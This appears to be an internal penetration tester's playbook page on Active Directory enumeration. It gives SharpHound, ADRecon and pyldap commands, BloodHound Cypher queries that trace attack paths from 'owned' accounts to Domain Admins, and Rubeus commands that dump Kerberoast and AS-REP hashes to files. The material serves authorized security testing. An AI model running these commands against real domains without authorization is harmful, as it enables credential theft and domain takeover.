AD enumeration
PingCastle
Quickly identify misconfigurations, vulnerabilities, and risks within Active Directory and Entra ID environments using PingCastle.
- Download the Syslifters compiled version of PingCastle.exe
- Add license into
appsettings.console.jsonfile next to thePingCastle.exefile to run the program with the correct license. Retrieve the file or license key from your password manager / internal vault. - Run
pingcastle.exein a terminal.
Bloodhound
Map and assess Active Directory related attack paths in Active Directory and Entra ID environments.
Download the Syslifters compiled Sharphound.exe collector
Collect data
Cheatsheet: SharpHound cheat sheet (external link)
For non-admin users:
./SharpHound.exeWith domain admin, we will also want to collect sessions:
./SharpHound.exe --c AllCollect data with all attributes:
sharphound.exe -c all --collectallproperties
- Import the
.zipfile into the hosted BloodHound instance. Credentials and host info should be stored in your password manager / internal vault.
Pyldap
If BloodHound is unavailable or fails, you can achieve similar results using pyldap, a tool for manual LDAP queries that supports BloodHound-compatible output.
- Download pyldap
- Run an LDAP query, e.g.:
.\--main--.exe operation\user:<password> '(objectClass=*)' - Transform with bofhound to ingest into a BloodHound instance.
Cipher queries
Here are some practical BloodHound Cypher queries for extracting valuable information about the target environment or handling nodes.
Use these in the Neo4j web interface after data ingestion (credentials available in your password manager / internal vault).
Some queries were based on Handy BloodHound Cypher queries.
Bulk mark as owned
MATCH (u:User)
WHERE u.samaccountname IN ["user1", "user2"]
SET u.system_tags =
CASE
WHEN u.system_tags IS NULL THEN ["owned"]
WHEN "owned" IN u.system_tags THEN u.system_tags
ELSE u.system_tags + ["owned"]
END
RETURN u.samaccountname AS updated_users, u.system_tags AS new_tags;Delete a single computer
MATCH p=(c:User)
WHERE c.name = "COMPUTER@DOMAIN.LOCAL"
detach delete pGet all sensitive users
match (u:User) where u.sensitive = True return uGet all certificates with modification rights other than DA / EA / Built-In Administrators
MATCH p = (n:Base)-[:Owns|WriteOwner|WriteDacl|GenericAll|GenericWrite]->(m:Base)
WHERE m.distinguishedname CONTAINS "PUBLIC KEY SERVICES"
AND NOT n.objectid ENDS WITH "-512" // Domain Admins
AND NOT n.objectid ENDS WITH "-519" // Enterprise Admins
AND NOT n.objectid ENDS WITH "-544" // Administrators
RETURN p
LIMIT 1000Get owned users
MATCH (u:User)
WHERE u.owned = True
RETURN u.samaccountname, u.pw, u.distinguishedname
ORDER BY u.nameGet outbound object control for OU (transitive)
MATCH (u:User)
WHERE u.distinguishedname contains "OU=TODO-OU"
// Collect all groups the user belongs to (transitively)
OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group)
WITH u, collect(DISTINCT g) AS groups
// Combine the user + all their groups into one list
WITH u, [u] + groups AS principals
UNWIND principals AS p
// Check outbound control edges from each principal
OPTIONAL MATCH (p)-[r]->(o)
WHERE type(r) IN [
'Owns', 'WriteDacl', 'WriteOwner', 'GenericAll', 'GenericWrite',
'AllExtendedRights', 'ForceChangePassword', 'AddMembers', 'AddSelf',
'WriteSPN', 'AddKeyCredentialLink', 'ReadLAPSPassword',
'ReadGMSAPassword', 'AddAllowedToAct', 'WriteAccountRestrictions'
]
OPTIONAL MATCH (p)-[:AdminTo]->(n:Computer)
// Aggregate across user + all groups (DISTINCT avoids double-counting)
WITH u.name as UserName,
COUNT(DISTINCT o) AS OutboundObjectControlCount,
COUNT(DISTINCT n) AS AdminToCount
RETURN UserName,
OutboundObjectControlCount,
AdminToCount
ORDER BY OutboundObjectControlCount DESC, AdminToCount DESCGet outbound object control for user list (transitive)
MATCH (u:User)
WHERE toLower(u.samaccountname) IN [
'user1',
'user2',
'TODO-complete-user-list'
]
// Collect all groups the user belongs to (transitively)
OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group)
WITH u, collect(DISTINCT g) AS groups
// Combine the user + all their groups into one list
WITH u, [u] + groups AS principals
UNWIND principals AS p
// Check outbound control edges from each principal
OPTIONAL MATCH (p)-[r]->(o)
WHERE type(r) IN [
'Owns', 'WriteDacl', 'WriteOwner', 'GenericAll', 'GenericWrite',
'AllExtendedRights', 'ForceChangePassword', 'AddMembers', 'AddSelf',
'WriteSPN', 'AddKeyCredentialLink', 'ReadLAPSPassword',
'ReadGMSAPassword', 'AddAllowedToAct', 'WriteAccountRestrictions'
]
OPTIONAL MATCH (p)-[:AdminTo]->(n:Computer)
// Aggregate across user + all groups (DISTINCT avoids double-counting)
WITH u.name AS UserName,
COUNT(DISTINCT o) AS OutboundObjectControlCount,
COUNT(DISTINCT n) AS AdminToCount
RETURN UserName,
OutboundObjectControlCount,
AdminToCount
ORDER BY OutboundObjectControlCount DESC, AdminToCount DESCGet outbound object control count per group
MATCH (u:Group)-[r]->(o)
WHERE type(r) IN ['WriteDacl', 'WriteOwner', 'GenericWrite', 'GenericAll']
RETURN u.name AS UserName,
COUNT(DISTINCT o) AS OutboundObjectControlCount
ORDER BY OutboundObjectControlCount DESC
LIMIT 1000Get AdminTo count per group
MATCH (m:Group)-[:AdminTo]->(n:Computer)
RETURN m.name AS GroupName, COUNT(n) AS ComputerCount
ORDER BY ComputerCount DESC
LIMIT 1000Get outbound object control and AdminTo for groups (non-transitive)
MATCH (u:Group)
OPTIONAL MATCH (u)-[r]->(o)
WHERE type(r) IN ['WriteDacl', 'WriteOwner', 'GenericWrite', 'GenericAll', 'WriteAccountRestrictions', 'Owns', 'AllExtendedRights','ForceChangePassword', 'WriteDacl', 'WriteOwner','ReadLAPSPassword', 'AddAllowedToAct']
OPTIONAL MATCH (u)-[:AdminTo]->(n:Computer)
WITH u.name AS UserName,
COUNT(DISTINCT o) AS OutboundObjectControlCount,
COUNT(DISTINCT n) AS AdminToCount
WHERE OutboundObjectControlCount > 0 OR AdminToCount > 0
RETURN UserName,
OutboundObjectControlCount,
AdminToCount
ORDER BY OutboundObjectControlCount DESC, AdminToCount DESC
LIMIT 1000Get outbound object control and AdminTo for users (non-transitive)
MATCH (u:User)
OPTIONAL MATCH (u)-[r]->(o)
WHERE type(r) IN ['WriteDacl', 'WriteOwner', 'GenericWrite', 'GenericAll', 'WriteAccountRestrictions', 'Owns', 'AllExtendedRights','ForceChangePassword', 'WriteDacl', 'WriteOwner','ReadLAPSPassword', 'AddAllowedToAct']
OPTIONAL MATCH (u)-[:AdminTo]->(n:Computer)
WITH u.name AS UserName,
COUNT(DISTINCT o) AS OutboundObjectControlCount,
COUNT(DISTINCT n) AS AdminToCount
WHERE OutboundObjectControlCount > 0 OR AdminToCount > 0
RETURN UserName,
OutboundObjectControlCount,
AdminToCount
ORDER BY OutboundObjectControlCount DESC, AdminToCount DESC
LIMIT 1000Get all owners sorted by count
MATCH (u:User)-[:MemberOf*]->(g:Group)-[:Owns]->(c:Computer)
WHERE NOT (g.objectid ENDS WITH "-512")
AND NOT (g.objectid ENDS WITH "-519")
RETURN DISTINCT u.name AS user, COUNT(c) ORDER BY COUNT(c) DESC
UNION
MATCH (u:User)-[:Owns]->(c:Computer)
RETURN DISTINCT u.name AS user, COUNT(c) ORDER BY COUNT(c) DESCGet all groups with owner permission on computer objects
MATCH (u:User)-[:MemberOf*1..2]->(g:Group)-[:Owns]->(c:Computer)
//WHERE NOT (g.objectid ENDS WITH "-512") // -512 = Global Admin; -519 = Enterprise Admin
// AND NOT (g.objectid ENDS WITH "-519")
MATCH (u)-[:MemberOf]->(g:Group)
RETURN DISTINCT g.name
//RETURN DISTINCT u.name AS user, COUNT(c) ORDER BY COUNT(c) DESCShortest path from owned users to DA (GUI functional)
MATCH p=shortestPath((n:User)-[:Owns|GenericAll|GenericWrite|WriteOwner|WriteDacl|MemberOf|ForceChangePassword|AllExtendedRights|AddMember|HasSession|Contains|GPLink|AllowedToDelegate|TrustedBy|AllowedToAct|AdminTo|CanPSRemote|CanRDP|ExecuteDCOM|HasSIDHistory|AddSelf|DCSync|ReadLAPSPassword|ReadGMSAPassword|DumpSMSAPassword|SQLAdmin|AddAllowedToAct|WriteSPN|AddKeyCredentialLink|SyncLAPSPassword|WriteAccountRestrictions|GoldenCert|ADCSESC1|ADCSESC3|ADCSESC4|ADCSESC5|ADCSESC6a|ADCSESC6b|ADCSESC7|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b|ADCSESC13|DCFor*1..]->(m:Group))
WHERE n.system_tags CONTAINS "owned" AND m.objectid ENDS WITH "-512"
RETURN pShortest path from owned computers to DA (GUI functional)
MATCH p=shortestPath((n:Computer)-[:Owns|GenericAll|GenericWrite|WriteOwner|WriteDacl|MemberOf|ForceChangePassword|AllExtendedRights|AddMember|HasSession|Contains|GPLink|AllowedToDelegate|TrustedBy|AllowedToAct|AdminTo|CanPSRemote|CanRDP|ExecuteDCOM|HasSIDHistory|AddSelf|DCSync|ReadLAPSPassword|ReadGMSAPassword|DumpSMSAPassword|SQLAdmin|AddAllowedToAct|WriteSPN|AddKeyCredentialLink|SyncLAPSPassword|WriteAccountRestrictions|GoldenCert|ADCSESC1|ADCSESC3|ADCSESC4|ADCSESC5|ADCSESC6a|ADCSESC6b|ADCSESC7|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b|ADCSESC13|DCFor*1..]->(m:Group))
WHERE n.system_tags CONTAINS "owned" AND m.objectid ENDS WITH "-512"
RETURN pADRecon
Use ADRecon to gather comprehensive details about the Active Directory environment and generate an Excel (.xlsx) report for a holistic overview of the target environment.
- Execute
.\ADRecon.ps1in PowerShell. An Excel report will be generated automatically if Microsoft Office is installed. - If Office is not available, create an Excel report from the CSV files on another host using:
.\ADRecon.ps1 -GenExcel C:\ADRecon-Report-<timestamp>
Kerberoasting
Identify all service accounts with Service Principal Names (SPNs) configured that are vulnerable to Kerberoasting.
# Kerberoast and write hashes to file
Rubeus.exe kerberoast /outfile:hashes.txt /nowrapAS-Rep Roasting
Find all user accounts with pre-authentication disabled, making them vulnerable to AS-Rep Roasting.
Rubeus.exe asreproast /outfile:asrephashes.txt /format:hashcat /nowrap